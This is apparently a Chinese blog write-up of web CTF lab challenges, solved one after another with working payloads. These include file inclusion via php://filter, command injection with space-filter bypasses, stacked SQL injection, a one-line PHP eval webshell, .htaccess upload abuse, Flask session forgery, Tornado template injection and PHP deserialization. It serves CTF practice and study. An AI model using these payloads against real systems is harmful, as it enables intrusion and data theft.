前言

新开个靶场接着刷题,极客大挑战已经做过的就跳了,参考极客大挑战-WP | Yxing

[ACTF2020 新生赛]Include

根据tips中的文件包含直接伪协议

GET:file=php://filter/read=convert.base64-encode/resource=flag.php

image-20250611143141744

flag{99cbe927-0326-4ad0-9cbb-0d524fef23e3}

[HCTF 2018]WarmUp

源码提示source.php,直接访问,源码发现hint.php,也直接访问

//source.php
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?') //先在page后拼接一个问号再查找问号位置,提取从开头到问号位置的字符
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page); //再次处理url解码后的page,判断操作如上
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
//hint.php
flag not here, and flag in ffffllllaaaagggg

那我们就可以直接开始构造,注意这里必须判断再白名单中

GET:file=hint.php?/../../../../../ffffllllaaaagggg

这里在包含文件时会先尝试包含hint.php?/,发现不是一个目录后会接着向后面包含,从而包含到根目录的flag

image-20250611144800966

flag{b445e688-4846-45cb-8f91-7274bff5cf7b}

[ACTF2020 新生赛]Exec

分号隔开后命令执行就行,这里扒了个源码下来

<?php 
if (isset($_POST['target'])) {
system("ping -c 3 ".$_POST['target']);
}
?>
POST:target=127.0.0.1;tac /flag

image-20250611145014712

flag{dd2de656-3bb9-45fe-959f-aa4be341d74a}

[GXYCTF2019]Ping Ping Ping

还是隔开就行,但是这里加上过滤了,禁用了空格,/<>等。ip=127.0.0.1;ls可正常执行

先来绕过空格读个源码

GET:ip=127.0.0.1;cat$IFS$1index.php
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

可以看到这里将flag隔开是不行,是按顺序匹配flag这四个字符,可以采用字符拼接

GET:ip=127.0.0.1;a=fl;b=g.php;c=a;tac$IFS$1$a$c$b

image-20250611150549094

flag{7ba0ac78-487c-4138-a45c-c88c97352d35}


也可以用HNCTF学到的,都可以打出来,推荐第一个

GET:ip=127.0.0.1;tac$IFS$1`ls`
GET:ip=127.0.0.1;`echo$IFS$1dGFjIGYq|base64$IFS$1-d`
#原始为ip=127.0.0.1;`echo dGFjIGYq|base64 -d`,即`tac f*`

[SUCTF 2019]EasySQL

这道题算是比较涨姿势了,首先fuzz一下发现输入数字时会返回一个数组Array ( [0] => 1 ),任意数字都是这个,但是输入字符时就啥都不会回显,输入flag或者union等时回显NONONO,那么猜测常规的布尔时间union都打不了了,而且后端代码猜测可能是

select $_POST['quert'] || flag from flag

如果只是单纯传入一个数字,就会执行select 1 from flag,这个语句就没有有用回显

法一:直接绕过

POST:query=*,1

payload如上,解释下,如果照上面猜测的拼凑到语句中,就是1||flag,总会返回1,而前面就会select * from flag,从而获取flag

image-20250611152536478

flag{4e45612f-bde7-4078-8159-609e7fcbfd01}

法二:堆叠注入

这里按照猜想,直接用堆叠注入,发现回显了

query=1;show databases;

image-20250611152842248

query=1;show tables;

image-20250611152919415

query=1;show columns from Flag;

但是这里由于把flag过滤了,所以不能直接读出来,但是从表名这里就可以看出来确实是如猜想的那样

法三:PIPES_AS_CONCAT 函数

PIPES_AS_CONCAT:将 || 或运算符 转换为 连接字符,即将||前后拼接到一起。

select 1 || flag from Flag的意思将变成:先查询1,再查询 flag,而不是查询1flag,只是查询的结果会拼接到一起,不要弄混淆了

1;sql_mode=PIPES_AS_CONCAT;select 1

拼接进去后就会通过select 1 || flag from flag将结果合并输出,从而获得flag

[强网杯 2019]随便注

输入1后还是和上题一样回显数组,先来判断下类型

inject=1'

image-20250611154326361

报错说明确实是单引号闭合,尝试常见注入

inject=1' union select 1,2#

image-20250611154501307

万能密码注入时会显示当前表内所有数据,传参时要url编码

inject=1' or 1=1#
inject=1'%20or%201%3D1%23

image-20250611155455015

法一:堆叠注入

先用堆叠试试

inject=1';show databases;#

image-20250611154624360

inject=1';show tables;#

image-20250611154640171

inject=1';show columns from words;#

image-20250611154810621

没什么值得注意的,看看另一个表。注意这里数字作为表名时要用反引号包裹

inject=1';show columns from `1919810931114514`;#

image-20250611154857560

看到flag,但是由于select被过滤不能直接读取,下面又是涨姿势的时候了

通过万能密码注入结果和上面堆叠注入结果可以猜测后端查询语句为

select * from words where id=$_GET['inject']

这里就有思路了:先将word表通过rename改成其他名字的表,再将1919810931114514改为word表,添加id列和将flag列改为data列,最后再用万能密码查询,就可以看到目前的word表,实际上的1919810931114514表的全部内容了。payload如下

GET:inject=1';rename table words to yxing;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#

最后万能密码就可以查看

GET:inject=1'%20or%201%3D1%23

image-20250611161023674

flag{e04f26d1-2901-48fd-95a7-58633e87bc85}

法二:编码绕过select

GET:inject=1';SEt@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare yxing from @a;execute yxing;#
#十六进制解码为select * from `1919810931114514`

注意,用了法一之后,1919810931114514这个表就相当于废了,要测就要重开环境了,或者重命名回去

这个payload简单解释下:先用set将查找结果的值赋给变量a,然后用预处理命令实现编码转换,最后执行预处理的yxing语句。而且这里的setprepare不能同时为小写,会进行检测,将某一个单词大写就行

image-20250611162148097

法三:concat拼接绕过select

GET:inject=1';use supersqli;set @a=concat('s','elect flag from `1919810931114514`');PREPARE yxing from @a;EXECUTE yxing;#

这里思路相同,还是去绕过select函数,通过这两个字符串拼接来实现

image-20250611162729576

法四:handler代替select读取

GET:inject=1';handler `1919810931114514` open as `yxing`;handler `yxing` read next;#

handler会一行一行的读取表中数据,这里的handler只会读取表中的一行数据,不过用来处理这个题也足够了

image-20250611163031545

这个方法还可以用来无列名注入,涨姿势了

[ACTF2020 新生赛]Upload

源码给了一个上传文件的位置

在鼠标悬停小灯泡上,小灯泡亮后会给出文件上传的位置

image-20250611164546329

首先绕过前端限制,上传图片马

image-20250611164837868

但是这里后端也有验证,发现php文件还是传不了,但是可以传.phtml文件,那么就有思路了

<script language='php'>eval($_POST['123']);</script>

image-20250611172108749

路径为/uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml

成功上传连马找到flag

这里也可以上传.htaccess.user.ini文件的,但是由于上传后会在前面加上一串字符,所以不能起作用

image-20250611172147872

flag{34449896-2685-4b1b-a9f1-6d21fe627c84}

[ACTF2020 新生赛]BackupFile

本来拿dirsearch来扫的,结果不知道为啥用不了

image-20250611172450474

这里直接看题目名字猜测是index.php.bak,访问获得源码

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

这里判断key是否是数字,然后再与str进行比较,由于只是弱比较,直接传参key=123就可以获得flag

php弱比较时会先判断类型,类型不一样会先转换类型,这里整数与字符进行比较,就会将字符转换为数字,所以只提取123结束了

GET:key=123

image-20250611173019546

flag{aa26f5f6-ba64-418f-af71-aea35eeb514f}

[RoarCTF 2019]Easy Calc

源码中可以发现通过向calc.php请求来获得答案

$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})

访问calc.php获得源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

原来以为是ssti,结果是命令执行

calc.php?num=system("ls");

直接传参显示403不允许,并且似乎测出来不能传字母?

这里有个小姿势,访问calc.php? num=phpinfo();就能正常传参。php在解析时会先将空白字符去掉,转换为有效变量

然后看到disable_function中把常见命令执行函数都禁用了

image-20250611175152432

这里就要用无参rce的知识了

GET:? num=var_dump(scandir(chr(47)))
#原始为var_dump(scandir("/")),转换字符时会自动带上引号

image-20250611180017369

找到f1agg文件

GET:? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
#原始为var_dump(file_get_contents("/f1agg"))

image-20250611180140739

flag{11b7e176-74ae-4926-a43b-6569fe9b8f70}


这里也可以用十六进制绕过

? num=var_dump(scandir(hex2bin(dechex(47))))
? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[BJDCTF2020]Easy MD5

随便输一个1,在请求头中找到hint

image-20250611180919330

select * from 'admin' where password=md5($pass,true)

参考web187,ffifdyop这个字符MD5后会出现'or'6xxxx,完整拼接语句为

select * from 'admin' where password=''or'6xxxx'

这样总是会返回真,同理的万能密码还有129581926211651571912466741651878684928

输入ffifdyop后进入下一关levels91.php

源码找到关键代码

$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.

GET:a=QNKCDZO&b=QLTHNDT

进入第三关levell14.php

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

强等于,数组绕过即可

POST:param1[]=1&param2[]=2

image-20250611182036024

flag{5e33d0d7-c290-4eea-9201-4ae8dde86a8d}

[HCTF 2018]admin

法一:弱口令

进去看到注册和登录,先测一下注册,注册位置不能直接注册admin用户,因此直接登录页面弱口令爆一爆

image-20250611191218517

可以看到123的长度不一样,登录试试

image-20250611191317261

然后就直接拿到flag了?????我还打算看session里面打伪造呢

flag{557402b8-c485-4e01-9717-fd6a74494b0b}


好吧,上面是最简单的一种解法,下面再来学习几种

法二:伪造session

在随便注册登录后的修改密码页面源码中找到提示

image-20250611191735612https://github.com/woadsl1234/hctf_flask/

但是访问的时候似乎已经没了?那就看看师傅们的文章来学习就行了

[BUUCTF-HCTF 2018]admin1_[hctf 2018]admin 1-CSDN博客

解码session如下

{'_fresh': True, '_id': b'193636fd5a28f321aee1cd4b7f64cb2b103f481c86fd6734ee06e15f42c0aabf154af1b18c3dfb9b5b438cbfc60be08699ec9918134468dfe2d7cab84bbc8462', 'csrf_token': b'2338c8108aa8d5bef5f8261213a38da14822b1c2', 'image': b'Y3GW', 'name': '123', 'user_id': '10'}

密钥为ckj123

flask-unsign --sign --cookie "{'_fresh': True, '_id': b'193636fd5a28f321aee1cd4b7f64cb2b103f481c86fd6734ee06e15f42c0aabf154af1b18c3dfb9b5b438cbfc60be08699ec9918134468dfe2d7cab84bbc8462', 'csrf_token': b'2338c8108aa8d5bef5f8261213a38da14822b1c2', 'image': b'Y3GW', 'name': 'admin', 'user_id': '10'}" --secret 'ckj123'

.eJxFkE9rwkAUxL9KeWcPSUgvgodC_nSF94Jlddl3Ea1xs5ushaiYrPjdm1porzPDb5i5w_bY1-cG5pf-Ws9gaw8wv8PLHuaAsg3kMGG_irUUKTscURUdy8Jx9mEp0QmVZNGLATPylJlBB_OTTyhgxGp9I78eSOkIPd60Kiy7PKay8KjEUJUYuGRbKRFrtwrVxGKPCZbLDjOTVLLrdGhfUZoBwyoi17Ts1yNnB6eVSKlc2qlv0sUCHjP4PPfH7eWrrU__ExxOWExRvqVa5SlnG8tKx-zMSC4fUVKDoWm1zKMqE6N2hUOzeOKs35n6j6QkvW9uv85p5ycDdgdvTzCD67nun79BHMHjG8TDbcM.aElnjw.aGfVncn7LtxgsdQ5Lai2GGWQiDI

image-20250611192555078

重定向后获得flag

法三:Unicode欺骗

这个方法就完全参考师傅的文章了,简单来说就是因为改密码中的函数有问题,从而实现修改admin的密码

ᴬᴰᴹᴵᴺ
使用一次nodeprep.prepare()
-> ADMIN
再使用一次nodepre.prepare()
-> admin

[MRCTF2020]你传你🐎呢

还是文件上传,尝试直接传php,phtml都不行,jpg.htaccess可以上传,注意这里还要修改文件类型

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

image-20250611194010294

再上传个1.jpg就行

image-20250611194044563

路径为upload/9b2dde4fce14310907d843276b4003e9/1.jpg,蚁剑连上后根目录找到flag

image-20250611194202703

flag{fbce99fb-cfdd-4e97-93a6-2aa0aede5416}

[护网杯 2018]easy_tornado

先挨着访问一遍

//flag.txt
flag in /fllllllllllllag
//welcome.txt
render
//hints.txt
md5(cookie_secret+md5(filename))

但是似乎都没看到cookie来着

注意到题目中的tornado,这是一个模板,可能涉及到模板注入

同时再访问报错后的报错页面看到参数

image-20250611194737346

尝试注入成功

image-20250611194805105

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settingshandler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。

简单理解handler.settings即可,可以把它理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭。

GET:msg={{handler.settings}}

image-20250611194947158

'cookie_secret': '0e08d985-58ee-4fd0-9937-8ff360d43116'

拿着去加密就行

md5(cookie_secret+md5(filename))
/fllllllllllllag的MD5为3bf9f6cf685a6dd8defadabfb41a03a1
0e08d985-58ee-4fd0-9937-8ff360d431163bf9f6cf685a6dd8defadabfb41a03a1的MD5为dd7b4c07f393447c3aa72e23a5a8ef4c

image-20250611195252102

成功读取flag

flag{fc4b948e-4c2d-4bfe-b0c2-15bf68456209}

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ //要求文件中共含有welcome to the zjctf,可以用data伪协议
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php //提示useless.php,直接读取出不来东西,可先尝试php://filter伪协议读
$password = unserialize($password); //估计是读userless.php就有反序列化了
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

所以payload如下

GET:text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
//useless.php
<?php

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

exp如下

<?php  

class Flag{ //flag.php
public $file;
}
$a=new Flag();
$a->file='flag.php';
echo serialize($a);
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终完整payload如下,注意这里直接包含useless.php,因为是在这个文件中反序列化的

GET:text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20250611202504633

源码获得flag

flag{4d492c3e-d675-44d4-9dba-ff22f0e0304e}